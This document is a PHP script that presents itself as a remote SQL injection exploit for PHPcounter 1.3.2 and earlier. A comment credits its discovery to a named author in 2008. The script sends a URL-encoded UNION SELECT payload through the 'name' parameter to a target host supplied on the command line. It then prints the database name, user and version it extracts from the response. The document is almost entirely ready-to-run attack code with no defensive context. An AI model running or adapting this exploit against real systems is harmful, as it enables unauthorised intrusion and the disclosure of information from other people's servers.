#!/usr/bin/php -q
<?php
// PHPcounter <= 1.3.2 Remote SQL Injection Exploit
// Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
// Discovered On: 28/09/2008
// Download: http://sourceforge.net/projects/phpcounter/
error_reporting(0);
$host = $argv[1] or banner();
$path = $argv[2] or banner();
$host = str_replace('http://',NULL,$host);
$isql = "'union select 0,0,0,concat(0x24,database(),0x3a,user(),0x3a,version(),0x24)'/*";
$isql = urlencode($isql);
function banner() {
echo "[?] Usage: php $argv[0] http://example.com /cms\r\n";
exit(0);
}
if(!$sock = fsockopen($host,80)) {
die("Socket Error\r\n");
}
$data .= "GET /$path/index.php?name=$isql HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Connection: close\r\n\r\n";
fputs($sock,$data);
while(!feof($sock)) {
$content .= fgets($sock);
} fclose($sock);
if(preg_match('/\$(.+?)\$/',$content,$out)) {
print "[+] $out[1]\r\n";
}
else {
echo "[!] Exploit Failed!\n";
}
?>
